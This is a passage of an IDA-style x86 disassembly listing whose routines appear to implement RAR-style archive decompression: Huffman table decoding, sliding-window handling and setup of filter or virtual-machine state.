short loc_9AF84A ; --------------------------------------------------------------------------- loc_9AF7F7: ; CODE XREF: sub_9AF7C6+26j cmp edi, [ebx+10h] sbb esi, esi add esi, 4 jmp short loc_9AF84A ; --------------------------------------------------------------------------- loc_9AF801: ; CODE XREF: sub_9AF7C6+21j cmp edi, [ebx+1Ch] jnb short loc_9AF810 cmp edi, [ebx+18h] sbb esi, esi add esi, 6 jmp short loc_9AF84A ; --------------------------------------------------------------------------- loc_9AF810: ; CODE XREF: sub_9AF7C6+3Ej cmp edi, [ebx+20h] sbb esi, esi add esi, 8 jmp short loc_9AF84A ; --------------------------------------------------------------------------- loc_9AF81A: ; CODE XREF: sub_9AF7C6+1Cj cmp edi, [ebx+34h] jnb short loc_9AF838 cmp edi, [ebx+2Ch] jnb short loc_9AF82E cmp edi, [ebx+28h] sbb esi, esi add esi, 0Ah jmp short loc_9AF84A ; --------------------------------------------------------------------------- loc_9AF82E: ; CODE XREF: sub_9AF7C6+5Cj cmp edi, [ebx+30h] sbb esi, esi add esi, 0Ch jmp short loc_9AF84A ; --------------------------------------------------------------------------- loc_9AF838: ; CODE XREF: sub_9AF7C6+57j cmp edi, [ebx+3Ch] jnb short loc_9AF847 cmp edi, [ebx+38h] sbb esi, esi add esi, 0Eh jmp short loc_9AF84A ; --------------------------------------------------------------------------- loc_9AF847: ; CODE XREF: sub_9AF7C6+75j push 0Fh pop esi loc_9AF84A: ; CODE XREF: sub_9AF7C6+2Fj ; sub_9AF7C6+39j ... push esi push [esp+10h+arg_0] call sub_9AF25A sub edi, [ebx+esi*4] pop ecx pop ecx push 10h pop ecx sub ecx, esi shr edi, cl add edi, [ebx+esi*4+44h] cmp edi, [ebx] jb short loc_9AF86A xor edi, edi loc_9AF86A: ; CODE XREF: sub_9AF7C6+A0j mov eax, [ebx+edi*4+84h] pop edi pop esi pop ebx retn sub_9AF7C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AF875 proc near ; CODE XREF: sub_9AFB2B+44p ; sub_9B030E+450p ... var_1AD = byte ptr -1ADh Src = byte ptr -1ACh var_81 = byte ptr -81h var_45 = byte ptr -45h var_34 = byte ptr -34h var_18 = byte ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ACh push esi mov esi, eax mov eax, [esi+408018h] sub eax, 19h cmp [esi+408004h], eax jle short loc_9AF8A5 push esi push [ebp+arg_0] call sub_9AF2B0 test eax, eax pop ecx pop ecx jz loc_9AFB24 loc_9AF8A5: ; CODE XREF: sub_9AF875+1Bj mov eax, [esi+408008h] neg eax and eax, 7 push eax push esi call sub_9AF25A push esi call sub_9AF27D add esp, 0Ch test ah, ah jns short loc_9AF8F3 lea eax, [esi+40D79Ch] push eax push esi push [ebp+arg_0] mov dword ptr [esi+408020h], 1 add esi, 408B10h push esi call sub_9B24CC add esp, 10h neg eax sbb eax, eax neg eax jmp loc_9AFB24 ; --------------------------------------------------------------------------- loc_9AF8F3: ; CODE XREF: sub_9AF875+4Dj push ebx xor ebx, ebx test ah, 40h mov [esi+408020h], ebx mov [esi+408024h], ebx mov [esi+408028h], ebx jnz short loc_9AF922 push 194h ; Size lea eax, [esi+40802Ch] push ebx ; Val push eax ; Dst call memset add esp, 0Ch loc_9AF922: ; CODE XREF: sub_9AF875+96j push 2 push esi call sub_9AF25A pop ecx pop ecx push edi loc_9AF92D: ; CODE XREF: sub_9AF875+11Bj push esi call sub_9AF27D shr eax, 0Ch movzx eax, al push 4 push esi mov [ebp+var_4], eax call sub_9AF25A mov eax, [ebp+var_4] add esp, 0Ch cmp eax, 0Fh jnz short loc_9AF988 push esi call sub_9AF27D shr eax, 0Ch push 4 push esi movzx edi, al call sub_9AF25A add esp, 0Ch test edi, edi jnz short loc_9AF971 mov [ebp+ebx+var_18], 0Fh jmp short loc_9AF98C ; --------------------------------------------------------------------------- loc_9AF971: ; CODE XREF: sub_9AF875+F3j inc edi inc edi jmp short loc_9AF981 ; --------------------------------------------------------------------------- loc_9AF975: ; CODE XREF: sub_9AF875+10Ej dec edi cmp ebx, 14h jnb short loc_9AF985 mov [ebp+ebx+var_18], 0 inc ebx loc_9AF981: ; CODE XREF: sub_9AF875+FEj test edi, edi jg short loc_9AF975 loc_9AF985: ; CODE XREF: sub_9AF875+104j dec ebx jmp short loc_9AF98C ; --------------------------------------------------------------------------- loc_9AF988: ; CODE XREF: sub_9AF875+D8j mov [ebp+ebx+var_18], al loc_9AF98C: ; CODE XREF: sub_9AF875+FAj ; sub_9AF875+111j inc ebx cmp ebx, 14h jl short loc_9AF92D lea eax, [esi+408A20h] push 14h push eax lea eax, [ebp+var_18] push eax call sub_9AF6EC add esp, 0Ch xor ebx, ebx loc_9AF9A9: ; CODE XREF: sub_9AF875+222j mov eax, [esi+408018h] sub eax, 5 cmp [esi+408004h], eax jle short loc_9AF9CD push esi push [ebp+arg_0] call sub_9AF2B0 test eax, eax pop ecx pop ecx jz loc_9AFB27 loc_9AF9CD: ; CODE XREF: sub_9AF875+143j lea eax, [esi+408A20h] push eax push esi call sub_9AF7C6 cmp eax, 10h pop ecx pop ecx jge short loc_9AF9FA mov cl, [ebx+esi+40802Ch] add cl, al and cl, 0Fh mov [ebp+ebx+Src], cl inc ebx jmp loc_9AFA91 ; --------------------------------------------------------------------------- loc_9AF9FA: ; CODE XREF: sub_9AF875+16Aj cmp eax, 12h push esi jge short loc_9AFA4E cmp eax, 10h jnz short loc_9AFA16 call sub_9AF27D mov edi, eax shr edi, 0Dh add edi, 3 push 3 jmp short loc_9AFA25 ; --------------------------------------------------------------------------- loc_9AFA16: ; CODE XREF: sub_9AF875+18Ej call sub_9AF27D mov edi, eax shr edi, 9 add edi, 0Bh push 7 loc_9AFA25: ; CODE XREF: sub_9AF875+19Fj push esi call sub_9AF25A add esp, 0Ch jmp short loc_9AFA48 ; --------------------------------------------------------------------------- loc_9AFA30: ; CODE XREF: sub_9AF875+1D5j dec edi cmp ebx, 194h jge short loc_9AFA9D mov al, [ebp+ebx+var_1AD] mov [ebp+ebx+Src], al inc ebx loc_9AFA48: ; CODE XREF: sub_9AF875+1B9j test edi, edi jg short loc_9AFA30 jmp short loc_9AFA91 ; --------------------------------------------------------------------------- loc_9AFA4E: ; CODE XREF: sub_9AF875+189j jnz short loc_9AFA61 call sub_9AF27D mov edi, eax shr edi, 0Dh add edi, 3 push 3 jmp short loc_9AFA70 ; --------------------------------------------------------------------------- loc_9AFA61: ; CODE XREF: sub_9AF875:loc_9AFA4Ej call sub_9AF27D mov edi, eax shr edi, 9 add edi, 0Bh push 7 loc_9AFA70: ; CODE XREF: sub_9AF875+1EAj push esi call sub_9AF25A add esp, 0Ch jmp short loc_9AFA8D ; --------------------------------------------------------------------------- loc_9AFA7B: ; CODE XREF: sub_9AF875+21Aj dec edi cmp ebx, 194h jge short loc_9AFA9D mov [ebp+ebx+Src], 0 inc ebx loc_9AFA8D: ; CODE XREF: sub_9AF875+204j test edi, edi jg short loc_9AFA7B loc_9AFA91: ; CODE XREF: sub_9AF875+180j ; sub_9AF875+1D7j cmp ebx, 194h jl loc_9AF9A9 loc_9AFA9D: ; CODE XREF: sub_9AF875+1C2j ; sub_9AF875+20Dj mov eax, [esi+408004h] xor edi, edi inc edi cmp eax, [esi+408018h] mov [esi+408014h], edi jg short loc_9AFB27 push 12Bh lea eax, [esi+4081C0h] push eax lea eax, [ebp+Src] push eax call sub_9AF6EC push 3Ch lea eax, [esi+4086F0h] push eax lea eax, [ebp+var_81] push eax call sub_9AF6EC push 11h lea eax, [esi+408864h] push eax lea eax, [ebp+var_45] push eax call sub_9AF6EC push 1Ch lea eax, [esi+40892Ch] push eax lea eax, [ebp+var_34] push eax call sub_9AF6EC push 194h ; Size lea eax, [ebp+Src] push eax ; Src add esi, 40802Ch push esi ; Dst call memcpy add esp, 3Ch mov eax, edi loc_9AFB22: ; CODE XREF: sub_9AF875+2B4j pop edi pop ebx loc_9AFB24: ; CODE XREF: sub_9AF875+2Aj ; sub_9AF875+79j pop esi leave retn ; --------------------------------------------------------------------------- loc_9AFB27: ; CODE XREF: sub_9AF875+152j ; sub_9AF875+23Dj xor eax, eax jmp short loc_9AFB22 sub_9AF875 endp ; =============== S U B R O U T I N E ======================================= sub_9AFB2B proc near ; CODE XREF: sub_9B030E+723p arg_0 = dword ptr 4 push ebx push edi push esi xor ebx, ebx call sub_9AF27D test ah, ah pop ecx jns short loc_9AFB40 xor edi, edi inc edi push edi jmp short loc_9AFB4C ; --------------------------------------------------------------------------- loc_9AFB40: ; CODE XREF: sub_9AFB2B+Dj xor ebx, ebx inc ebx and eax, 4000h mov edi, eax push 2 loc_9AFB4C: ; CODE XREF: sub_9AFB2B+13j push esi call sub_9AF25A xor eax, eax test edi, edi setz al test ebx, ebx pop ecx pop ecx mov [esi+408014h], eax jnz short loc_9AFB7E test edi, edi jz short loc_9AFB79 push [esp+8+arg_0] mov eax, esi call sub_9AF875 test eax, eax pop ecx jz short loc_9AFB7E loc_9AFB79: ; CODE XREF: sub_9AFB2B+3Cj xor eax, eax inc eax jmp short loc_9AFB80 ; --------------------------------------------------------------------------- loc_9AFB7E: ; CODE XREF: sub_9AFB2B+38j ; sub_9AFB2B+4Cj xor eax, eax loc_9AFB80: ; CODE XREF: sub_9AFB2B+51j pop edi pop ebx retn sub_9AFB2B endp ; =============== S U B R O U T I N E ======================================= sub_9AFB83 proc near ; CODE XREF: sub_9AFBCB+36p ; sub_9B0206+C5p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi lea edi, [esi+40D7B0h] mov eax, [edi] test eax, eax jz short loc_9AFBA0 push eax ; Memory call free and dword ptr [edi], 0 pop ecx loc_9AFBA0: ; CODE XREF: sub_9AFB83+10j and dword ptr [esi+40D7B8h], 0 and dword ptr [esi+40D7B4h], 0 lea eax, [esi+40D7A0h] push eax call sub_9B12D7 add esi, 40D7A8h push esi call sub_9B12D7 pop ecx pop ecx pop edi pop esi retn sub_9AFB83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AFBCB(char, void *Src) sub_9AFBCB proc near ; CODE XREF: sub_9B0051+BDp ; sub_9B012B+BEp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 Src = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx xor ebx, ebx test [ebp+arg_0], 80h push esi mov [ebp+var_20], eax mov eax, [ebp+Src] push edi mov edi, ecx mov [ebp+var_1C], eax mov [ebp+var_18], ebx mov [ebp+var_14], ebx jz short loc_9AFC0F lea eax, [ebp+var_20] push eax call sub_9B2868 mov esi, eax cmp esi, ebx pop ecx mov [ebp+var_4], esi jnz short loc_9AFC09 push edi call sub_9AFB83 pop ecx jmp short loc_9AFC1A ; --------------------------------------------------------------------------- loc_9AFC09: ; CODE XREF: sub_9AFBCB+33j dec esi mov [ebp+var_4], esi jmp short loc_9AFC1A ; --------------------------------------------------------------------------- loc_9AFC0F: ; CODE XREF: sub_9AFBCB+20j mov eax, [edi+40D7B4h] mov [ebp+var_4], eax mov esi, eax loc_9AFC1A: ; CODE XREF: sub_9AFBCB+3Cj ; sub_9AFBCB+42j mov eax, [edi+40D7A4h] cmp esi, eax ja loc_9AFEED cmp esi, [edi+40D7B8h] ja loc_9AFEED xor ecx, ecx cmp esi, eax setz cl mov [edi+40D7B4h], esi cmp ecx, ebx mov [ebp+var_10], ecx jz short loc_9AFCC5 lea esi, [edi+40D7A0h] push 1 push esi call sub_9B122A test eax, eax pop ecx pop ecx jz loc_9AFEED call sub_9B125E mov ecx, [esi] mov ebx, eax mov eax, [edi+40D7A4h] mov [ecx+eax*4-4], ebx mov eax, [edi+40D7A4h] mov ecx, [esi] cmp dword ptr [ecx+eax*4-4], 0 mov [ebp+var_8], ebx jz loc_9AFEED inc dword ptr [edi+40D7B8h] mov eax, [edi+40D7B8h] shl eax, 2 push eax ; NewSize lea esi, [edi+40D7B0h] push dword ptr [esi] ; Memory call sub_9B132C test eax, eax pop ecx pop ecx mov [esi], eax jz loc_9AFEED mov ecx, [edi+40D7B8h] and dword ptr [eax+ecx*4-4], 0 and dword ptr [ebx+8], 0 xor ebx, ebx jmp short loc_9AFCD4 ; --------------------------------------------------------------------------- loc_9AFCC5: ; CODE XREF: sub_9AFBCB+7Bj mov eax, [edi+40D7A0h] mov esi, [eax+esi*4] inc dword ptr [esi+8] mov [ebp+var_8], esi loc_9AFCD4: ; CODE XREF: sub_9AFBCB+F8j call sub_9B125E mov esi, eax xor eax, eax cmp [edi+40D7ACh], ebx mov [ebp+var_C], ebx mov [ebp+Src], eax jbe short loc_9AFD2A lea ebx, [edi+40D7A8h] loc_9AFCF1: ; CODE XREF: sub_9AFBCB+159j mov ecx, [ebx] mov ecx, [ecx+eax*4] mov edx, eax sub edx, [ebp+var_C] mov eax, [ebx] mov [eax+edx*4], ecx mov ecx, [ebx] mov eax, [ebp+Src] lea ecx, [ecx+eax*4] cmp dword ptr [ecx], 0 jnz short loc_9AFD10 inc [ebp+var_C] loc_9AFD10: ; CODE XREF: sub_9AFBCB+140j mov edx, [ebp+var_C] test edx, edx jle short loc_9AFD1A and dword ptr [ecx], 0 loc_9AFD1A: ; CODE XREF: sub_9AFBCB+14Aj inc eax cmp eax, [edi+40D7ACh] mov [ebp+Src], eax jb short loc_9AFCF1 test edx, edx jnz short loc_9AFD3D loc_9AFD2A: ; CODE XREF: sub_9AFBCB+11Ej lea ebx, [edi+40D7A8h] push 1 push ebx call sub_9B122A pop ecx xor edx, edx pop ecx inc edx loc_9AFD3D: ; CODE XREF: sub_9AFBCB+15Dj mov eax, [edi+40D7ACh] mov ecx, [ebx] mov ebx, [ebp+var_8] sub eax, edx mov [ecx+eax*4], esi mov eax, [ebx+8] mov [esi+8], eax lea eax, [ebp+var_20] push eax call sub_9B2868 test [ebp+arg_0], 40h pop ecx mov [ebp+Src], eax jz short loc_9AFD6D add [ebp+Src], 102h loc_9AFD6D: ; CODE XREF: sub_9AFBCB+199j mov eax, [edi+40800Ch] add eax, [ebp+Src] and eax, 3FFFFFh test [ebp+arg_0], 20h mov [esi], eax jz short loc_9AFD92 lea eax, [ebp+var_20] push eax call sub_9B2868 pop ecx mov ecx, [ebp+var_4] jmp short loc_9AFDAA ; --------------------------------------------------------------------------- loc_9AFD92: ; CODE XREF: sub_9AFBCB+1B6j mov ecx, [ebp+var_4] cmp ecx, [edi+40D7B8h] jnb short loc_9AFDA8 mov eax, [edi+40D7B0h] mov eax, [eax+ecx*4] jmp short loc_9AFDAA ; --------------------------------------------------------------------------- loc_9AFDA8: ; CODE XREF: sub_9AFBCB+1D0j xor eax, eax loc_9AFDAA: ; CODE XREF: sub_9AFBCB+1C5j ; sub_9AFBCB+1DBj mov [esi+4], eax mov eax, [edi+408010h] mov edx, [edi+40800Ch] cmp eax, edx jz short loc_9AFDCE sub eax, edx and eax, 3FFFFFh cmp eax, [ebp+Src] ja short loc_9AFDCE xor eax, eax inc eax jmp short loc_9AFDD0 ; --------------------------------------------------------------------------- loc_9AFDCE: ; CODE XREF: sub_9AFBCB+1F0j ; sub_9AFBCB+1FCj xor eax, eax loc_9AFDD0: ; CODE XREF: sub_9AFBCB+201j mov edx, [esi+4] mov [esi+0Ch], eax mov eax, [edi+40D7B0h] push 1Ch ; Size mov [eax+ecx*4], edx lea eax, [esi+34h] push 0 ; Val push eax ; Dst call memset mov eax, [esi+4] mov [esi+44h], eax mov eax, [esi+8] add esp, 0Ch test [ebp+arg_0], 10h mov dword ptr [esi+40h], 3C000h mov [esi+48h], eax jz short loc_9AFE59 lea eax, [ebp+var_20] push eax call sub_9B283A mov ebx, eax lea eax, [ebp+var_20] push 7 push eax shr ebx, 9 call sub_9B2820 lea eax, [esi+34h] add esp, 0Ch and [ebp+Src], 0 mov [ebp+var_C], eax loc_9AFE2E: ; CODE XREF: sub_9AFBCB+289j mov ecx, [ebp+Src] xor eax, eax inc eax shl eax, cl test ebx, eax jz short loc_9AFE49 lea eax, [ebp+var_20] push eax call sub_9B2868 pop ecx mov ecx, [ebp+var_C] mov [ecx], eax loc_9AFE49: ; CODE XREF: sub_9AFBCB+26Dj inc [ebp+Src] add [ebp+var_C], 4 cmp [ebp+Src], 7 jl short loc_9AFE2E mov ebx, [ebp+var_8] loc_9AFE59: ; CODE XREF: sub_9AFBCB+23Bj cmp [ebp+var_10], 0 jz loc_9AFEFE lea eax, [ebp+var_20] push eax call sub_9B2868 cmp eax, 1000h pop ecx mov [ebp+var_C], eax jge short loc_9AFEED test eax, eax jz short loc_9AFEED cmp eax, [ebp+var_1C] jg short loc_9AFEED test eax, eax jl short loc_9AFEED push eax ; Size call sub_9B1311 test eax, eax pop ecx mov [ebp+Src], eax jz short loc_9AFEED xor ebx, ebx cmp [ebp+var_C], ebx jle short loc_9AFEBF loc_9AFE99: ; CODE XREF: sub_9AFBCB+2F2j lea eax, [ebp+var_20] push eax call sub_9B283A mov ecx, [ebp+Src] shr eax, 8 mov [ecx+ebx], al lea eax, [ebp+var_20] push 8 push eax call sub_9B2820 add esp, 0Ch inc ebx cmp ebx, [ebp+var_C] jl short loc_9AFE99 loc_9AFEBF: ; CODE XREF: sub_9AFBCB+2CCj mov eax, [ebp+var_8] add eax, 10h push eax ; int push [ebp+var_C] ; int lea eax, [ebp+var_20] push [ebp+Src] ; Src add edi, 40D7CCh push eax ; int push edi ; int call sub_9B3A12 add esp, 14h test eax, eax push [ebp+Src] ; Memory jnz short loc_9AFEF4 call free pop ecx loc_9AFEED: ; CODE XREF: sub_9AFBCB+57j ; sub_9AFBCB+63j ... xor eax, eax loc_9AFEEF: ; CODE XREF: sub_9AFBCB+481j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_9AFEF4: ; CODE XREF: sub_9AFBCB+319j call free mov ebx, [ebp+var_8] pop ecx loc_9AFEFE: ; CODE XREF: sub_9AFBCB+292j mov eax, [ebx+10h] mov [esi+18h], eax mov eax, [ebx+30h] mov [esi+30h], eax mov edi, [ebx+2Ch] test edi, edi jle short loc_9AFF34 cmp edi, 2000h jge short loc_9AFF34 push edi ; Size call sub_9B1311 test eax, eax pop ecx mov [esi+20h], eax jz short loc_9AFEED push edi ; Size push dword ptr [ebx+20h] ; Src push eax ; Dst call memcpy add esp, 0Ch loc_9AFF34: ; CODE XREF: sub_9AFBCB+344j ; sub_9AFBCB+34Cj push 40h pop edi cmp [esi+28h], edi jge short loc_9AFF63 push dword ptr [esi+1Ch] ; Memory call free push edi ; Size call sub_9B1311 test eax, eax pop ecx pop ecx mov [esi+1Ch], eax jz short loc_9AFEED push edi ; Size push 0 ; Val push eax ; Dst call memset add esp, 0Ch mov [esi+28h], edi loc_9AFF63: ; CODE XREF: sub_9AFBCB+36Fj mov edi, [esi+1Ch] mov [ebp+Src], edi lea ebx, [esi+34h] mov [ebp+var_10], 7 loc_9AFF73: ; CODE XREF: sub_9AFBCB+3C1j push dword ptr [ebx] push [ebp+Src] push 0 call sub_9B278D add [ebp+Src], 4 add esp, 0Ch add ebx, 4 dec [ebp+var_10] jnz short loc_9AFF73 push dword ptr [esi+4] lea eax, [edi+1Ch] push eax xor ebx, ebx push ebx call sub_9B278D push ebx lea eax, [edi+20h] push eax push ebx call sub_9B278D push dword ptr [esi+8] lea eax, [edi+2Ch] push eax push ebx call sub_9B278D push 10h ; Size push ebx ; Val add edi, 30h push edi ; Dst call memset add esp, 30h test [ebp+arg_0], 8 jz short loc_9B0049 lea eax, [ebp+var_20] push eax call sub_9B2868 mov edi, eax cmp edi, 10000h pop ecx jge loc_9AFEED mov eax, [esi+28h] lea ecx, [edi+40h] cmp eax, ecx jnb short loc_9B000E mov ecx, edi sub ecx, eax add ecx, 40h add [esi+28h], ecx push dword ptr [esi+28h] ; NewSize push dword ptr [esi+1Ch] ; Memory call sub_9B132C cmp eax, ebx pop ecx pop ecx mov [esi+1Ch], eax jz loc_9AFEED loc_9B000E: ; CODE XREF: sub_9AFBCB+41Fj mov esi, [esi+1Ch] add esi, 40h cmp edi, ebx jle short loc_9B0049 loc_9B0018: ; CODE XREF: sub_9AFBCB+47Cj mov eax, [ebp+var_18] add eax, 2 cmp eax, [ebp+var_1C] jg loc_9AFEED lea eax, [ebp+var_20] push eax call sub_9B283A shr eax, 8 mov [esi+ebx], al lea eax, [ebp+var_20] push 8 push eax call sub_9B2820 add esp, 0Ch inc ebx cmp ebx, edi jl short loc_9B0018 loc_9B0049: ; CODE XREF: sub_9AFBCB+3FDj ; sub_9AFBCB+44Bj xor eax, eax inc eax jmp loc_9AFEEF sub_9AFBCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B0051 proc near ; CODE XREF: sub_9B030E+74Dp Memory = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi call sub_9AF27D mov ebx, eax push 8 push edi shr ebx, 8 call sub_9AF25A mov esi, ebx and esi, 7 add esp, 0Ch inc esi cmp esi, 7 jnz short loc_9B008B push edi call sub_9AF27D mov esi, eax shr esi, 8 add esi, 7 push 8 jmp short loc_9B009A ; --------------------------------------------------------------------------- loc_9B008B: ; CODE XREF: sub_9B0051+26j cmp esi, 8 jnz short loc_9B00A3 push edi call sub_9AF27D mov esi, eax push 10h loc_9B009A: ; CODE XREF: sub_9B0051+38j push edi call sub_9AF25A add esp, 0Ch loc_9B00A3: ; CODE XREF: sub_9B0051+3Dj lea eax, [esi+2] push eax ; Size call sub_9B1311 test eax, eax pop ecx mov [ebp+Memory], eax jz short loc_9B0127 and [ebp+var_4], 0 test esi, esi jle short loc_9B0107 loc_9B00BC: ; CODE XREF: sub_9B0051+B4j mov eax, [edi+408018h] dec eax cmp [edi+408004h], eax jl short loc_9B00E2 push edi push [ebp+arg_0] call sub_9AF2B0 test eax, eax pop ecx pop ecx jnz short loc_9B00E2 lea eax, [esi-1] cmp [ebp+var_4], eax jl short loc_9B0127 loc_9B00E2: ; CODE XREF: sub_9B0051+78j ; sub_9B0051+87j push edi call sub_9AF27D mov ecx, [ebp+var_4] mov edx, [ebp+Memory] shr eax, 8 push 8 push edi mov [ecx+edx], al call sub_9AF25A add esp, 0Ch inc [ebp+var_4] cmp [ebp+var_4], esi jl short loc_9B00BC loc_9B0107: ; CODE XREF: sub_9B0051+69j mov eax, [ebp+Memory] push esi ; Src push ebx ; char mov ecx, edi call sub_9AFBCB push [ebp+Memory] ; Memory mov esi, eax call free add esp, 0Ch mov eax, esi loc_9B0123: ; CODE XREF: sub_9B0051+D8j pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_9B0127: ; CODE XREF: sub_9B0051+61j ; sub_9B0051+8Fj xor eax, eax jmp short loc_9B0123 sub_9B0051 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B012B proc near ; CODE XREF: sub_9B030E+525p var_C = byte ptr -0Ch Memory = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi push [ebp+arg_0] lea ebx, [edi+408B10h] push ebx call sub_9B25BF mov esi, eax add esp, 0Ch cmp esi, 0FFFFFFFFh mov dword ptr [ebp+var_C], esi jz short loc_9B01B1 and esi, 7 inc esi cmp esi, 7 jnz short loc_9B0170 push edi push [ebp+arg_0] push ebx call sub_9B25BF add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_9B01B1 lea esi, [eax+7] jmp short loc_9B01A0 ; --------------------------------------------------------------------------- loc_9B0170: ; CODE XREF: sub_9B012B+2Cj cmp esi, 8 jnz short loc_9B01A0 push edi push [ebp+arg_0] push ebx call sub_9B25BF mov esi, eax add esp, 0Ch cmp esi, 0FFFFFFFFh jz short loc_9B01B1 push edi push [ebp+arg_0] push ebx call sub_9B25BF add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_9B01B1 shl esi, 8 add esi, eax loc_9B01A0: ; CODE XREF: sub_9B012B+43j ; sub_9B012B+48j lea eax, [esi+2] push eax ; Size call sub_9B1311 test eax, eax pop ecx mov [ebp+Memory], eax jnz short loc_9B01B5 loc_9B01B1: ; CODE XREF: sub_9B012B+23j ; sub_9B012B+3Ej ... xor eax, eax jmp short loc_9B01FE ; --------------------------------------------------------------------------- loc_9B01B5: ; CODE XREF: sub_9B012B+84j and [ebp+var_4], 0 test esi, esi jle short loc_9B01E0 loc_9B01BD: ; CODE XREF: sub_9B012B+B3j push edi push [ebp+arg_0] push ebx call sub_9B25BF add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_9B0202 mov edx, [ebp+var_4] inc [ebp+var_4] cmp [ebp+var_4], esi mov ecx, [ebp+Memory] mov [edx+ecx], al jl short loc_9B01BD loc_9B01E0: ; CODE XREF: sub_9B012B+90j mov eax, [ebp+Memory] push esi ; Src push dword ptr [ebp+var_C] ; char mov ecx, edi call sub_9AFBCB pop ecx pop ecx mov esi, eax loc_9B01F2: ; CODE XREF: sub_9B012B+D9j push [ebp+Memory] ; Memory call free pop ecx mov eax, esi loc_9B01FE: ; CODE XREF: sub_9B012B+88j pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_9B0202: ; CODE XREF: sub_9B012B+A2j xor esi, esi jmp short loc_9B01F2 sub_9B012B endp ; =============== S U B R O U T I N E ======================================= sub_9B0206 proc near ; CODE XREF: sub_9B030E+429p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi xor edi, edi cmp [esp+8+arg_0], edi jnz loc_9B02D3 push 10h ; Size lea eax, [esi+408AF4h] push edi ; Val push eax ; Dst mov [esi+408014h], edi call memset push 194h ; Size lea eax, [esi+40802Ch] push edi ; Val push eax ; Dst mov [esi+408B04h], edi call memset push 530h ; Size lea eax, [esi+4081C0h] push edi ; Val push eax ; Dst call memset push 174h ; Size lea eax, [esi+4086F0h] push edi ; Val push eax ; Dst call memset push 0C8h ; Size lea eax, [esi+408864h] push edi ; Val push eax ; Dst call memset push 0F4h ; Size lea eax, [esi+40892Ch] push edi ; Val push eax ; Dst call memset add esp, 48h push 0D4h ; Size lea eax, [esi+408A20h] push edi ; Val push eax ; Dst call memset push esi mov [esi+408B08h], edi mov [esi+408B0Ch], edi mov dword ptr [esi+40D79Ch], 2 mov [esi+40800Ch], edi mov [esi+408010h], edi mov [esi+408020h], edi call sub_9AFB83 add esp, 10h loc_9B02D3: ; CODE XREF: sub_9B0206+Cj lea eax, [esi+40D7CCh] push eax mov [esi+408008h], edi mov [esi+408004h], edi mov [esi+408018h], edi mov [esi+40801Ch], edi mov [esi+40D7BCh], edi mov [esi+40D7C0h], edi call sub_9B27E9 or dword ptr [esi+40D7F4h], 0FFFFFFFFh pop ecx pop edi pop esi retn sub_9B0206 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_9B030E proc near ; CODE XREF: sub_9B0B9A+15p var_188 = dword ptr -188h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = dword ptr -178h var_174 = dword ptr -174h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_91 = byte ptr -91h var_90 = byte ptr -90h var_8F = byte ptr -8Fh var_8E = byte ptr -8Eh var_8D = byte ptr -8Dh var_8C = byte ptr -8Ch var_8B = byte ptr -8Bh var_8A = byte ptr -8Ah var_89 = byte ptr -89h var_88 = byte ptr -88h var_87 = byte ptr -87h var_86 = byte ptr -86h var_85 = byte ptr -85h var_84 = byte ptr -84h var_83 = byte ptr -83h var_82 = byte ptr -82h var_81 = byte ptr -81h var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_7E = byte ptr -7Eh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_7B = byte ptr -7Bh var_7A = byte ptr -7Ah var_79 = byte ptr -79h var_78 = byte ptr -78h var_77 = byte ptr -77h var_76 = byte ptr -76h var_75 = byte 